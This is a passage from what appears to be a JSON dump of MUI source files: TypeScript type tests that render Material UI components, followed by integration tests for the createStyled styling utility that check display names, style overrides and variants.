src=\"img.png\" alt=\"alt text\" />\n      </ImageListItem>\n      ,\n    </ImageList>\n  );\n}\n\nfunction ListTest() {\n  return (\n    <List>\n      {[0, 1, 2, 3].map((value) => (\n        <ListItem\n          dense\n          key={value}\n          secondaryAction={\n            <IconButton aria-label=\"comments\">\n              <FakeIcon />\n            </IconButton>\n          }\n        >\n          <ListItemButton selected={false} onClick={(event) => log(event)}>\n            <Checkbox checked tabIndex={-1} disableRipple />\n            <ListItemText primary={`Line item ${value + 1}`} />\n          </ListItemButton>\n        </ListItem>\n      ))}\n      <ListItem>an item</ListItem>\n    </List>\n  );\n}\n\nfunction MenuTest() {\n  const anchorEl = document.getElementById('foo')!;\n  const options = [\n    'Show all notification content',\n    'Hide sensitive notification content',\n    'Hide all notification content',\n  ];\n  const buttonActionRef = React.useRef<ButtonBaseActions>(null);\n\n  return (\n    <Menu\n      id=\"lock-menu\"\n      anchorEl={anchorEl}\n      open\n      onClose={(event) => log(event)}\n      PopoverClasses={{ paper: 'foo' }}\n    >\n      {options.map((option, index) => (\n        <MenuItem\n          key={option}\n          selected={false}\n          ref={(elem) => {\n            expectType<HTMLLIElement | null, typeof elem>(elem);\n          }}\n          onClick={(event) => {\n            expectType<React.MouseEvent<HTMLLIElement, MouseEvent>, typeof event>(event);\n            log(event);\n          }}\n        >\n          {option}\n        </MenuItem>\n      ))}\n      <MenuItem<'a'>\n        action={(action) => {\n          buttonActionRef.current = action;\n        }}\n        component=\"a\"\n        ref={(elem) => {\n          expectType<HTMLAnchorElement | null, typeof elem>(elem);\n        }}\n        onClick={(event) => {\n          expectType<React.MouseEvent<HTMLAnchorElement, MouseEvent>, typeof event>(event);\n          log(event);\n        }}\n      >\n        Link Item\n      </MenuItem>\n      <MenuItem\n        ref={(elem) => {\n          expectType<HTMLLIElement | null, typeof elem>(elem);\n        }}\n      />\n      <MenuItem\n        action={(action) => {\n          buttonActionRef.current = action;\n        }}\n        ref={(elem) => {\n          // inferred from `button={false}` instead of `action`\n          expectType<HTMLLIElement | null, typeof elem>(elem);\n        }}\n      />\n    </Menu>\n  );\n}\n\nfunction CircularProgressTest() {\n  return (\n    <div>\n      <CircularProgress />\n      <CircularProgress size={50} />\n      <CircularProgress color=\"secondary\" />\n      <CircularProgress color=\"secondary\" size={50} />\n    </div>\n  );\n}\n\nfunction LinearProgressTest() {\n  return (\n    <div>\n      <LinearProgress variant=\"determinate\" value={12} />\n      <LinearProgress color=\"secondary\" variant=\"determinate\" value={76} />\n    </div>\n  );\n}\n\nfunction SelectionControlTest() {\n  const state = {\n    checkedA: true,\n    checkedB: false,\n    checkedF: true,\n  };\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) =>\n    log({ [event.target.name]: event.target.checked });\n\n  return (\n    <FormGroup row>\n      <FormControlLabel\n        control={\n          <Checkbox\n            checked={state.checkedA}\n            onChange={handleChange}\n            name=\"checkedA\"\n            value=\"checkedA\"\n          />\n        }\n        label=\"Option A\"\n      />\n      <FormControlLabel\n        control={\n          <Checkbox\n            checked={state.checkedB}\n            onChange={handleChange}\n            name=\"checkedB\"\n            value=\"checkedB\"\n          />\n        }\n        label=\"Option B\"\n      />\n      <FormControlLabel control={<Checkbox value=\"checkedC\" />} label=\"Option C\" />\n      <FormControlLabel disabled control={<Checkbox value=\"checkedD\" />} label=\"Disabled\" />\n      <FormControlLabel disabled control={<Checkbox checked value=\"checkedE\" />} label=\"Disabled\" />\n      <FormControlLabel\n        disabled\n        control={<Checkbox checked value=\"checkedE\" indeterminate />}\n        label=\"Indeterminate\"\n      />\n      <FormControlLabel\n        control={<Checkbox checked onChange={handleChange} name=\"checkedF\" value=\"checkedF\" />}\n        label=\"Custom color\"\n      />\n    </FormGroup>\n  );\n}\n\nfunction SwitchTest() {\n  const state = {\n    checkedA: true,\n    checkedB: false,\n    checkedE: true,\n  };\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) =>\n    log({ [event.target.name]: event.target.checked });\n\n  return (\n    <div>\n      <Switch\n        checked={state.checkedA}\n        onChange={handleChange}\n        name=\"checkedA\"\n        aria-label=\"checkedA\"\n      />\n      <Switch\n        checked={state.checkedB}\n        onChange={handleChange}\n        name=\"checkedB\"\n        aria-label=\"checkedB\"\n      />\n      <Switch checked={false} aria-label=\"checkedC\" disabled />\n      <Switch checked aria-label=\"checkedD\" disabled />\n      <Switch\n        checked={state.checkedE}\n        onChange={handleChange}\n        name=\"checkedE\"\n        aria-label=\"checkedD\"\n      />\n    </div>\n  );\n}\n\nfunction SnackbarTest() {\n  return (\n    <div>\n      <Button onClick={(event) => log(event)}>Open simple snackbar</Button>\n      <Snackbar\n        anchorOrigin={{\n          vertical: 'bottom',\n          horizontal: 'left',\n        }}\n        open\n        autoHideDuration={6000}\n        onClose={(event) => log(event)}\n        slotProps={{\n          content: {\n            'aria-describedby': 'message-id',\n          },\n        }}\n        message={<span id=\"message-id\">Note archived</span>}\n        action={[\n          <Button key=\"undo\" color=\"secondary\" size=\"small\" onClick={(event) => log(event)}>\n            UNDO\n          </Button>,\n          <IconButton\n            key=\"close\"\n            aria-label=\"close\"\n            color=\"inherit\"\n            onClick={(event) => log(event)}\n          >\n            <FakeIcon />\n          </IconButton>,\n        ]}\n      />\n    </div>\n  );\n}\n\nfunction SnackbarContentTest() {\n  const action = (\n    <Button color=\"secondary\" size=\"small\">\n      lorem ipsum dolorem\n    </Button>\n  );\n  return (\n    <div>\n      <SnackbarContent message=\"I love snacks.\" action={action} />\n      <SnackbarContent\n        message={\n          'I love candy. I love cookies. I love cupcakes. \\\n          I love cheesecake. I love chocolate.'\n        }\n      />\n      <SnackbarContent message=\"I love candy. I love cookies. I love cupcakes.\" action={action} />\n      <SnackbarContent\n        message={\n          'I love candy. I love cookies. I love cupcakes. \\\n          I love cheesecake. I love chocolate.'\n        }\n        action={action}\n      />\n    </div>\n  );\n}\n\nconst StepperTest = () =>\n  class DotsMobileStepper extends React.Component<{\n    classes: { root: string };\n  }> {\n    state = {\n      activeStep: 0,\n    };\n\n    handleNext = () => {\n      this.setState({\n        activeStep: this.state.activeStep + 1,\n      });\n    };\n\n    handleBack = () => {\n      this.setState({\n        activeStep: this.state.activeStep - 1,\n      });\n    };\n\n    render() {\n      const classes = this.props.classes;\n      const defaultProps = {\n        steps: 2,\n        nextButton: <Button>Next</Button>,\n        backButton: <Button>Back</Button>,\n      };\n      return (\n        <MobileStepper\n          {...defaultProps}\n          variant=\"dots\"\n          steps={6}\n          position=\"static\"\n          activeStep={this.state.activeStep}\n          className={classes.root}\n        />\n      );\n    }\n  };\n\nfunction TextFieldTest() {\n  return (\n    <div>\n      <TextField id=\"name\" label=\"Name\" value=\"Alice\" />\n      <TextField id=\"name\" label={<strong>Name</strong>} value=\"Alice\" />\n      <TextField\n        id=\"name\"\n        label=\"Name\"\n        value=\"Alice\"\n        onChange={(event) => log({ name: event.currentTarget.value })}\n      />\n      <TextField\n        id=\"name\"\n        label=\"Name\"\n        value=\"Alice\"\n        slotProps={{ input: { classes: { root: 'foo' } } }}\n      />\n      <TextField\n        type=\"number\"\n        slotProps={{\n          htmlInput: {\n            min: '0',\n            max: '10',\n            step: '1',\n            style: {\n              // just a long CSS property to test autocompletion\n              WebkitAnimationIterationCount: 0,\n            },\n          },\n        }}\n      />\n      <Input inputComponent=\"input\" />\n    </div>\n  );\n}\n\nfunction SelectTest() {\n  return (\n    <Select input={<Input />} value={10} onChange={(event) => log(event.target.value)}>\n      <MenuItem value=\"\">\n        <em>None</em>\n      </MenuItem>\n      <MenuItem value={10}>Ten</MenuItem>\n      <MenuItem value={20}>Twenty</MenuItem>\n      <MenuItem value={30}>Thirty</MenuItem>\n    </Select>\n  );\n}\n\nfunction InputAdornmentTest() {\n  return (\n    <InputAdornment position=\"end\" onClick={() => alert('Hello')}>\n      Some Icon\n    </InputAdornment>\n  );\n}\n\nfunction TooltipComponentTest() {\n  return (\n    <div>\n      <Tooltip id=\"tooltip-top-start\" title=\"Add\" placement=\"top-start\">\n        <Button>top-start</Button>\n      </Tooltip>\n      <Tooltip id=\"tooltip-top-start\" title={<strong>Add</strong>} placement=\"top-start\">\n        <Button>top-start</Button>\n      </Tooltip>\n    </div>\n  );\n}\n\nfunction ClickAwayListenerComponentTest() {\n  return (\n    <ClickAwayListener onClickAway={() => {}}>\n      <div />\n    </ClickAwayListener>\n  );\n}\n\nfunction TransitionTest() {\n  return (\n    <React.Fragment>\n      <Fade in={false}>\n        <div />\n      </Fade>\n      <Collapse in={false} mountOnEnter unmountOnExit timeout={200}>\n        <div />\n      </Collapse>\n      <Grow in={false} timeout=\"auto\" onEnter={() => {}}>\n        <div />\n      </Grow>\n    </React.Fragment>\n  );\n}\n\nfunction BackdropTest() {\n  return <Backdrop open onTouchMove={() => {}} />;\n}\n\nfunction PopoverTest() {\n  return <Popover open />;\n}\n\nfunction InputLabelTest() {\n  return (\n    <InputLabel\n      classes={{\n        root: 'foo',\n        asterisk: 'foo',\n        disabled: 'foo',\n        error: 'foo',\n        filled: 'foo',\n        focused: 'foo',\n        required: 'foo',\n      }}\n    />\n  );\n}\n\nfunction LinkTest() {\n  const dudUrl = 'javascript';\n  return (\n    <Typography>\n      <Link href={dudUrl}>Link</Link>\n      <Link href={dudUrl} color=\"inherit\">\n        inherit\n      </Link>\n      <Link href={dudUrl} variant=\"body1\">\n        body1\n      </Link>\n    </Typography>\n  );\n}\n\nconst refTest = () => {\n  // for a detailed explanation of refs in react see https://github.com/mui/material-ui/pull/15199\n  const genericRef = React.createRef<Element>();\n  const divRef = React.createRef<HTMLDivElement>();\n  const inputRef = React.createRef<HTMLInputElement>();\n\n  // @ts-expect-error too generic\n  <Paper ref={genericRef} />;\n  <Paper ref={divRef} />;\n  // undesired: throws when assuming inputRef.current.value !== undefined\n  <Paper ref={inputRef} />;\n  // recommended: soundness is the responsibility of the dev\n  // alternatively use React.useRef<unknown>()  or React.createRef<unknown>()\n  <Paper\n    ref={(ref) => {\n      // with runtime overhead, sound usage\n      if (ref instanceof HTMLInputElement) {\n        const i: number = ref.valueAsNumber;\n      }\n      // unsafe casts, sound usage, no runtime overhead\n      const j: number = (ref as HTMLInputElement).valueAsNumber;\n      // unsafe casts, unsound usage, no runtime overhead\n      const k: number = (ref as any).valueAsNumber;\n      // @ts-expect-error unsound usage, no runtime overhead, least syntax\n      const n: number = ref.valueAsNumber;\n    }}\n  />;\n};\n\nfunction CssBaselineTest() {\n  return <CssBaseline>Test</CssBaseline>;\n}\n\nfunction ScopedCssBaselineTest() {\n  return <ScopedCssBaseline>Test</ScopedCssBaseline>;\n}\n"
  },
  {
    "path": "test/integration/mui-system/createStyled.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport createStyled from '@mui/system/createStyled';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\n\ndescribe('createStyled', () => {\n  const { render } = createRenderer();\n\n  // These tests rely on implementation details (namely `displayName`)\n  // Ideally we'd just test if the proper name appears in a React warning.\n  // But React warnings are deduplicated during module lifetime.\n  // We would need to reset modules to make the tests work in watchmode.\n  describe.skipIf(process.env.NODE_ENV === 'production')('displayName', () => {\n    it('uses the `componentName` if set', () => {\n      const styled = createStyled({});\n      const SomeMuiComponent = styled('div', { name: 'SomeMuiComponent' })({});\n\n      expect(SomeMuiComponent).to.have.property('displayName', 'SomeMuiComponent');\n    });\n\n    it('falls back to the decorated tag name', () => {\n      const styled = createStyled({});\n      const SomeMuiComponent = styled('div')({});\n\n      expect(SomeMuiComponent).to.have.property('displayName', 'Styled(div)');\n    });\n\n    it('falls back to the decorated computed displayName', () => {\n      const styled = createStyled({});\n      const SomeMuiComponent = styled(function SomeMuiComponent() {\n        return null;\n      })({});\n\n      expect(SomeMuiComponent).to.have.property('displayName', 'Styled(SomeMuiComponent)');\n    });\n\n    it('has a fallback name if the display name cannot be computed', () => {\n      const styled = createStyled({});\n      const SomeMuiComponent = styled(() => null)({});\n\n      expect(SomeMuiComponent).to.have.property('displayName', 'Styled(Component)');\n    });\n  });\n\n  describe('composition', () => {\n    it('should call styleFunctionSx once', () => {\n      const styled = createStyled();\n      const spySx = spy();\n      const Child = styled('div')({});\n\n      render(<Child sx={spySx} />);\n\n      expect(spySx.callCount).to.equal(2); // React 18 renders twice in strict mode.\n    });\n\n    it('should still call styleFunctionSx once', () => {\n      const styled = createStyled();\n      const spySx = spy();\n      const Child = styled('div')({});\n      const Parent = styled(Child)({});\n\n      render(<Parent sx={spySx} />);\n\n      expect(spySx.callCount).to.equal(2); // React 18 renders twice in strict mode.\n    });\n\n    it('both child and parent still accept `sx` prop', () => {\n      const styled = createStyled();\n      const Child = styled('div')({});\n      const Parent = styled(Child)({});\n\n      render(\n        <React.Fragment>\n          <Parent data-testid=\"parent\" sx={{ color: 'rgb(0, 0, 255)' }} />\n          <Child data-testid=\"child\" sx={{ color: 'rgb(255, 0, 0)' }} />\n        </React.Fragment>,\n      );\n      expect(screen.getByRole('parent')).toHaveComputedStyle({ color: 'rgb(0, 0, 255)' });\n      expect(screen.getByRole('child')).toHaveComputedStyle({ color: 'rgb(255, 0, 0)' });\n    });\n  });\n\n  it('default overridesResolver', () => {\n    const styled = createStyled({});\n    const Button = styled('button', {\n      name: 'MuiButton',\n      slot: 'root',\n    })({\n      display: 'flex',\n    });\n\n    render(\n      <ThemeProvider\n        theme={createTheme({\n          components: {\n            MuiButton: {\n              styleOverrides: {\n                root: {\n                  width: '300px',\n                  height: '200px',\n                },\n              },\n            },\n          },\n        })}\n      >\n        <Button data-testid=\"button\" color=\"primary\" variant=\"contained\" className=\"Mui-disabled\">\n          Hello\n        </Button>\n      </ThemeProvider>,\n    );\n\n    expect(screen.getByTestId('button')).toHaveComputedStyle({\n      width: '300px',\n      height: '200px',\n    });\n  });\n\n  describe('styles', () => {\n    it('styles of pseudo classes of variants are merged', () => {\n      const theme = createTheme({\n        components: {\n          MuiButton: {\n            variants: [\n              {\n                props: { variant: 'contained' },\n                style: {\n                  '&.Mui-disabled': {\n                    width: '300px',\n                  },\n                },\n              },\n              {\n                props: { variant: 'contained', color: 'primary' },\n                style: {\n                  '&.Mui-disabled': {\n                    height: '200px',\n                  },\n                },\n              },\n            ],\n          },\n        },\n      });\n      const styled = createStyled({});\n      const Button = styled('button', {\n        shouldForwardProp: (prop) => prop !== 'color' && prop !== 'contained',\n        name: 'MuiButton',\n        slot: 'Root',\n        overridesResolver: (props, styles) => styles.root,\n      })({\n        display: 'flex',\n      });\n\n      render(\n        <ThemeProvider theme={theme}>\n          <Button data-testid=\"button\" color=\"primary\" variant=\"contained\" className=\"Mui-disabled\">\n            Hello\n          </Button>\n        </ThemeProvider>,\n      );\n\n      expect(screen.getByTestId('button')).toHaveComputedStyle({\n        width: '300px',\n        height: '200px',\n      });\n    });\n  });\n\n  describe('styleOverrides callback', () => {\n    const styled = createStyled({});\n    const ButtonRoot = styled('button', {\n      name: 'MuiButton',\n      slot: 'Root',\n      overridesResolver: (props, styles) => [\n        styles.root,\n        { [`& .MuiButton-avatar`]: styles.avatar },\n      ],\n    })({});\n    const ButtonIcon = styled('span', {\n      name: 'MuiButton',\n      slot: 'Icon',\n      overridesResolver: (props, styles) => styles.icon,\n    })({});\n    function Button({ children, startIcon, endIcon, color = 'primary', ...props }) {\n      const ownerState = { startIcon, endIcon, color, ...props };\n      return (\n        <ButtonRoot data-testid=\"button\" ownerState={ownerState}>\n          {startIcon && <ButtonIcon ownerState={ownerState}>{startIcon}</ButtonIcon>}\n          {children}\n          {endIcon && <ButtonIcon ownerState={ownerState}>{endIcon}</ButtonIcon>}\n        </ButtonRoot>\n      );\n    }\n\n    it('spread ownerState as props to the slot styleOverrides', () => {\n      const finalTheme = createTheme({\n        components: {\n          MuiButton: {\n            styleOverrides: {\n              avatar: () => {\n                return {\n                  width: '100px',\n                };\n              },\n            },\n          },\n        },\n      });\n      render(\n        <ThemeProvider theme={finalTheme}>\n          <Button>\n            <div className=\"MuiButton-avatar\" data-testid=\"button-avatar\" />\n            Hello\n          </Button>\n        </ThemeProvider>,\n      );\n      expect(screen.getByTestId('button-avatar')).toHaveComputedStyle({\n        width: '100px',\n      });\n    });\n\n    it('support slot as nested class', () => {\n      const finalTheme = createTheme({\n        typography: {\n          button: {\n            fontSize: '20px',\n          },\n        },\n        components: {\n          MuiButton: {\n            styleOverrides: {\n              root: ({ ownerState, theme }) => {\n                const { color, variant } = ownerState;\n                const styles = [];\n                if (color === 'primary') {\n                  styles.push({\n                    width: 120,\n                    height: 48,\n                  });\n                }\n                if (variant === 'contained') {\n                  styles.push(theme.typography.button);\n                }\n                return styles;\n              },\n              icon: ({ ownerState }) => [\n                ownerState.startIcon && { marginRight: 8 },\n                ownerState.endIcon && { marginLeft: 8 },\n              ],\n            },\n          },\n        },\n      });\n      const { container } = render(\n        <ThemeProvider theme={finalTheme}>\n          <Button color=\"primary\" variant=\"contained\" startIcon=\"foo\">\n            Hello\n          </Button>\n        </ThemeProvider>,\n      );\n      expect(screen.getByRole('button')).toHaveComputedStyle({\n        width: '120px',\n        height: '48px',\n        fontSize: '20px',\n      });\n      expect(\n        container.firstChild.firstChild, // startIcon\n      ).toHaveComputedStyle({\n        marginRight: '8px',\n      });\n    });\n\n    it('support object return from the callback', () => {\n      const finalTheme = createTheme({\n        components: {\n          MuiButton: {\n            styleOverrides: {\n              root: () => ({\n                width: '300px',\n              }),\n            },\n          },\n        },\n      });\n      const { container } = render(\n        <ThemeProvider theme={finalTheme}>\n          <Button>Hello</Button>\n        </ThemeProvider>,\n      );\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '300px',\n      });\n    });\n\n    it('support template string return from the callback', () => {\n      const finalTheme = createTheme({\n        components: {\n          MuiButton: {\n            styleOverrides: {\n              root: () => `\n                width: 300px;\n              `,\n            },\n          },\n        },\n      });\n      const { container } = render(\n        <ThemeProvider theme={finalTheme}>\n          <Button>Hello</Button>\n        </ThemeProvider>,\n      );\n      expect(container.firstChild).toHaveComputedStyle({\n        width: '300px',\n      });\n    });\n\n    it('works with sx', () => {\n      const finalTheme = createTheme({\n        components: {\n          MuiButton: {\n            styleOverrides: {\n              root: ({ theme }) =>\n                theme.unstable_sx({\n                  pt: 10,\n                }),\n              icon: ({ ownerState, theme }) => [\n                ownerState.color === 'primary' &&\n                  theme.unstable_sx({\n                    mr: 10,\n                  }),\n              ],\n            },\n          },\n        },\n      });\n      const { container } = render(\n        <ThemeProvider theme={finalTheme}>\n          <Button startIcon=\"✅\">Hello</Button>\n        </ThemeProvider>,\n      );\n      expect(container.firstChild).toHaveComputedStyle({\n        paddingTop: '80px',\n      });\n      expect(container.firstChild.firstChild).toHaveComputedStyle({\n        marginRight: '80px',\n      });\n    });\n  });\n\n  it('does not spread `sx` prop to DOM', () => {\n    const styled = createStyled({});\n    const Button = styled('button')({});\n\n    render(\n      <Button data-testid=\"button\" sx={{ bgcolor: 'red' }}>\n        Link\n      </Button>,\n    );\n    expect(screen.getByTestId('button')).not.to.have.attribute('sx');\n  });\n\n  it('does not forward `ownerState` prop to DOM', () => {\n    const styled = createStyled({});\n    const Button = styled('button')({});\n\n    render(<Button data-testid=\"button\" ownerState={{}} />);\n    expect(screen.getByTestId('button')).not.to.have.attribute('ownerState');\n  });\n\n  describe('default behaviors', () => {\n    it('does not forward invalid props to DOM if no `slot` specified', () => {\n      // This scenario is usually used by library consumers\n      const styled = createStyled({});\n      const Button = styled('button')({});\n\n      render(\n        <Button data-testid=\"button\" color=\"red\" shouldBeRemoved data-foo=\"bar\">\n          Link\n        </Button>,\n      );\n      const button = screen.getByTestId('button');\n      expect(button.getAttribute('data-foo')).to.equal('bar');\n      expect(button.getAttribute('color')).to.equal('red'); // color is for Safari mask-icon link\n      expect(button.getAttribute('shouldBeRemoved')).not.to.equal('true');\n    });\n\n    it('can use `as` prop', () => {\n      const styled = createStyled({});\n      const Button = styled('button')({});\n\n      render(<Button data-testid=\"button\" as=\"a\" href=\"/\" />);\n\n      expect(screen.getByTestId('button')).to.have.tagName('a');\n      expect(screen.getByTestId('button')).to.have.attribute('href', '/');\n    });\n\n    it('able to pass props to `as` styled component', () => {\n      const styled = createStyled({});\n      const ChildRoot = styled('div')({});\n      function Child({ component }) {\n        return <ChildRoot as={component}>content</ChildRoot>;\n      }\n      const Button = styled('button')({});\n      const { container } = render(<Button as={Child} component=\"span\" />);\n\n      expect(container.firstChild).to.have.tagName('span');\n    });\n  });\n\n  describe('variants key', () => {\n    it('should accept variants in object style arg', () => {\n      const styled = createStyled({});\n\n      const Test = styled('div')({\n        variants: [\n          {\n            props: { color: 'blue', variant: 'filled' },\n            style: {\n              backgroundColor: 'rgb(0,0,255)',\n            },\n          },\n          {\n            props: { color: 'blue', variant: 'text' },\n            style: {\n              color: 'rgb(0,0,255)',\n            },\n          },\n        ],\n      });\n\n      render(\n        <React.Fragment>\n          <Test data-testid=\"filled\" color=\"blue\" variant=\"filled\">\n            Filled\n          </Test>\n          <Test data-testid=\"text\" color=\"blue\" variant=\"text\">\n            Text\n          </Test>\n        </React.Fragment>,\n      );\n\n      expect(screen.getByTestId('filled')).toHaveComputedStyle({\n        backgroundColor: 'rgb(0, 0, 255)',\n      });\n      expect(screen.getByTestId('text')).toHaveComputedStyle({ color: 'rgb(0, 0, 255)' });\n    });\n\n    it('should accept variants in function style arg', () => {\n      const styled = createStyled({ defaultTheme: { colors: { blue: 'rgb(0, 0, 255)' } } });\n\n      const Test = styled('div')(({ theme }) => ({\n        variants: [\n          {\n            props: { color: 'blue', variant: 'filled' },\n            style: {\n              backgroundColor: theme.colors.blue,\n            },\n          },\n          {\n            props: { color: 'blue', variant: 'text' },\n            style: {\n              color: theme.colors.blue,\n            },\n          },\n        ],\n      }));\n\n      render(\n        <React.Fragment>\n          <Test data-testid=\"filled\" color=\"blue\" variant=\"filled\">\n            Filled\n          </Test>\n          <Test data-testid=\"text\" color=\"blue\" variant=\"text\">\n            Text\n          </Test>\n        </React.Fragment>,\n      );\n\n      expect(screen.getByTestId('filled')).toHaveComputedStyle({\n        backgroundColor: 'rgb(0, 0, 255)',\n      });\n      expect(screen.getByTestId('text')).toHaveComputedStyle({ color: 'rgb(0, 0, 255)' });\n    });\n\n    it('should accept variants in function style arg with props usage', () => {\n      const styled = createStyled({\n        defaultTheme: {\n          colors: { blue: 'rgb(0, 0, 255)', red: 'rgb(255, 0, 0)', green: 'rgb(0, 255, 0)' },\n        },\n      });\n\n      const Test = styled('div')(({ theme, color }) => ({\n        variants: [\n          {\n            props: (props) => props.color !== 'blue',\n            style: {\n              backgroundColor: theme.colors[color],\n            },\n          },\n        ],\n      }));\n\n      render(\n        <React.Fragment>\n          <Test data-testid=\"red\" color=\"red\">\n            Filled\n          </Test>\n          <Test data-testid=\"green\" color=\"green\">\n            Text\n          </Test>\n        </React.Fragment>,\n      );\n\n      expect(screen.getByTestId('green')).toHaveComputedStyle({\n        backgroundColor: 'rgb(0, 255, 0)',\n      });\n      expect(screen.getByTestId('red')).toHaveComputedStyle({ backgroundColor: 'rgb(255, 0, 0)' });\n    });\n\n    it('should merge props and ownerState in props callback', () => {\n      const styled = createStyled({\n        defaultTheme: {\n          colors: { blue: 'rgb(0, 0, 255)', red: 'rgb(255, 0, 0)', green: 'rgb(0, 255, 0)' },\n        },\n      });\n\n      const Test = styled('div')(({ theme, color }) => ({\n        variants: [\n          {\n            props: (props) => props.color === 'green' || props.color === 'red',\n            style: {\n              backgroundColor: theme.colors[color],\n            },\n          },\n        ],\n      }));\n\n      render(\n        <React.Fragment>\n          <Test data-testid=\"red\" ownerState={{ color: 'red' }}>\n            Red\n          </Test>\n          <Test data-testid=\"green\" ownerState={{ color: 'green' }}>\n            Green\n          </Test>\n        </React.Fragment>,\n      );\n\n      expect(screen.getByTestId('green')).toHaveComputedStyle({\n        backgroundColor: 'rgb(0, 255, 0)',\n      });\n      expect(screen.getByTestId('red')).toHaveComputedStyle({ backgroundColor: 'rgb(255, 0, 0)' });\n    });\n\n    it('should accept variants in arrays', () => {\n      const styled = createStyled({ defaultTheme: { colors: { blue: 'rgb(0, 0, 255)' } } });\n\n      const Test = styled('div')(\n        ({ theme }) => ({\n          variants: [\n            {\n              props: { color: 'blue', variant: 'filled' },\n              style: {\n                backgroundColor: theme.colors.blue,\n              },\n            },\n            {\n              props: { color: 'blue', variant: 'text' },\n              style: {\n                color: theme.colors.blue,\n              },\n            },\n          ],\n        }),\n        {\n          variants: [\n            {\n              props: { color: 'blue', variant: 'outlined' },\n              style: {\n                borderTopColor: 'rgb(0,0,255)',\n              },\n            },\n            // This is overriding the previous definition\n            {\n              props: { color: 'blue', variant: 'text' },\n              style: {\n                color: 'rgb(0,0,220)',\n              },\n            },\n          ],\n        },\n      );\n\n      render(\n        <React.Fragment>\n          <Test data-testid=\"filled\" color=\"blue\" variant=\"filled\">\n            Filled\n          </Test>\n          <Test data-testid=\"text\" color=\"blue\" variant=\"text\">\n            Text\n          </Test>\n          <Test data-testid=\"outlined\" color=\"blue\" variant=\"outlined\">\n            Outlined\n          </Test>\n        </React.Fragment>,\n      );\n\n      expect(screen.getByTestId('filled')).toHaveComputedStyle({\n        backgroundColor: 'rgb(0, 0, 255)',\n      });\n      expect(screen.getByTestId('text')).toHaveComputedStyle({ color: 'rgb(0, 0, 220)' });\n      expect(screen.getByTestId('outlined')).toHaveComputedStyle({\n        borderTopColor: 'rgb(0, 0, 255)',\n      });\n    });\n\n    it('theme variants should override styled variants', () => {\n      const styled = createStyled({});\n\n      const Test = styled('div', { name: 'Test' })({\n        variants: [\n          {\n            props: { color: 'blue', variant: 'filled' },\n            style: {\n              backgroundColor: 'rgb(0,0,255)',\n            },\n          },\n          // This is overriding the previous definition\n          {\n            props: { color: 'blue', variant: 'text' },\n            style: {\n              color: 'rgb(0,0,255)',\n            },\n          },\n        ],\n      });\n\n      render(\n        <ThemeProvider\n          theme={{\n            components: {\n              Test: {\n                variants: [\n                  {\n                    props: { variant: 'text', color: 'blue' },\n                    style: {\n                      color: 'rgb(0,0,220)',\n                    },\n                  },\n                ],\n              },\n            },\n          }}\n        >\n          <Test data-testid=\"filled\" color=\"blue\" variant=\"filled\">\n            Filled\n          </Test>\n          <Test data-testid=\"text\" color=\"blue\" variant=\"text\">\n            Text\n          </Test>\n        </ThemeProvider>,\n      );\n\n      expect(screen.getByTestId('filled')).toHaveComputedStyle({\n        backgroundColor: 'rgb(0, 0, 255)',\n      });\n      expect(screen.getByTestId('text')).toHaveComputedStyle({ color: 'rgb(0, 0, 220)' });\n    });\n\n    it('should accept variants in function props arg', () => {\n      const styled = createStyled({ defaultTheme: { colors: { blue: 'rgb(0, 0, 255)' } } });\n\n      const Test = styled('div')(({ theme }) => ({\n        variants: [\n          {\n            props: (props) => props.color === 'blue' && props.variant === 'filled',\n            style: {\n              backgroundColor: theme.colors.blue,\n            },\n          },\n          {\n            props: (props) => props.color === 'blue' && props.variant === 'text',\n            style: {\n              color: theme.colors.blue,\n            },\n          },\n        ],\n      }));\n\n      render(\n        <React.Fragment>\n          <Test data-testid=\"filled\" color=\"blue\" variant=\"filled\">\n            Filled\n          </Test>\n          <Test data-testid=\"text\" color=\"blue\" variant=\"text\">\n            Text\n          </Test>\n        </React.Fragment>,\n      );\n\n      expect(screen.getByTestId('filled')).toHaveComputedStyle({\n        backgroundColor: 'rgb(0, 0, 255)',\n      });\n      expect(screen.getByTestId('text')).toHaveComputedStyle({ color: 'rgb(0, 0, 255)' });\n    });\n\n    it('should accept variants with both object and function props arg', () => {\n      const styled = createStyled({ defaultTheme: { colors: { blue: 'rgb(0, 0, 255)' } } });\n\n      const Test = styled('div')(({ theme }) => ({\n        variants: [\n          {\n            props: (props) => props.color === 'blue' && props.variant === 'filled',\n            style: {\n              backgroundColor: theme.colors.blue,\n            },\n          },\n          {\n            props: { color: 'blue', variant: 'outlined' },\n            style: {\n              borderColor: theme.colors.blue,\n            },\n          },\n          {\n            props: (props) => props.color === 'blue' && props.variant === 'text',\n            style: {\n              color: theme.colors.blue,\n            },\n          },\n        ],\n      }));\n\n      render(\n        <React.Fragment>\n          <Test data-testid=\"filled\" color=\"blue\" variant=\"filled\">\n            Filled\n          </Test>\n          <Test data-testid=\"outlined\" color=\"blue\" variant=\"outlined\">\n            Outlined\n          </Test>\n          <Test data-testid=\"text\" color=\"blue\" variant=\"text\">\n            Text\n          </Test>\n        </React.Fragment>,\n      );\n\n      expect(screen.getByTestId('filled')).toHaveComputedStyle({\n        backgroundColor: 'rgb(0, 0, 255)',\n      });\n      expect(screen.getByTestId('outlined')).toHaveComputedStyle({\n        borderTopColor: 'rgb(0, 0, 255)',\n      });\n      expect(screen.getByTestId('text')).toHaveComputedStyle({ color: 'rgb(0, 0, 255)' });\n    });\n\n    it('should not consume values from nested ownerState', () => {\n      const styled = createStyled({ defaultTheme: { colors: { blue: 'rgb(0, 0, 255)' } } });\n\n      const Test = styled('div')(({ theme }) => ({\n        variants: [\n          {\n            props: ({ ownerState }) => ownerState.color === 'blue',\n            style: {\n              backgroundColor: theme.colors.blue,\n            },\n          },\n        ],\n      }));\n\n      const ownerState = { color: 'blue' };\n\n      render(\n        <React.Fragment>\n          <Test data-testid=\"blue\" ownerState={ownerState}>\n            Blue\n          </Test>\n          <Test data-testid=\"nested\" ownerState={{ ownerState }}>\n            Nested ownerState\n          </Test>\n        </React.Fragment>,\n      );\n\n      expect(screen.getByTestId('blue')).toHaveComputedStyle({ backgroundColor: 'rgb(0, 0, 255)' });\n      expect(screen.getByTestId('nested')).not.toHaveComputedStyle({\n        backgroundColor: 'rgb(0, 0, 255)',\n      });\n    });\n  